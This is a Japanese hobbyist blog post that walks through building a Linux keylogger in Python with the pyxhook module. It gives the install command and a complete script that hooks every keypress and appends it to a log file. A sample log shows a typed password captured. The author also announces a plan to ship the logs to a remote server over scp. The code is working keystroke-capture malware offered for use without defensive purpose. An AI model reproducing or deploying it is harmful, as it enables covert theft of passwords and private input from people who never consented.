pythonでlinux版キーロガーを作ってみた。
本格的にpythonを勉強し始めて約1ヶ月。
少しずつ慣れてきた気がするので、前から作ってみたかったキーロガーを作ってみる。
思ったよりずいぶん簡単にできた。
使うのはpyxhookモジュール。Windows用のキーロガーが作れるpyhookのLinux版。
ちなみにこのモジュールはpython3では動作しないので注意。
モジュールのインストール
sudo pip install pyxhook
import pyxhook import os #logファイルのパス log_file = '/path/.../xxx.txt' #logファイル新規作成 log = open(log_file,'w') log.close() def keyevent(event): #logファイルを追記型で開く log = open(log_file,'a') log.write(event.Key) log.write('\n') #?キーが押されたら終了する if event.Ascii == 63: log.close() hook.cancel() #HookManagerを定義 hook = pyxhook.HookManager() #キーボードが入力されたらkeyevent関数を呼び出す hook.KeyDown = keyevent #HookKeyloadをセット hook.HookKeyboard() hook.start()
tips
・ログが横に並ぶと見づらくなるのでlog.write('\n)で一文字ごとに改行
・Asciiコードを使って特定のキーが押されたときに処理を終了する
(logファイルをcloseするのを忘れずに!)
ASCIIコード表
実行してみる。
$ python keylogger.py password abcdefg?
logファイル[log.txt]
p a s s w o r d Return a b c d e f g Shift_L question
今回はこのへんで。
次回はscpを使ってsshサーバーにlogファイルを送ってみたりしようと思います。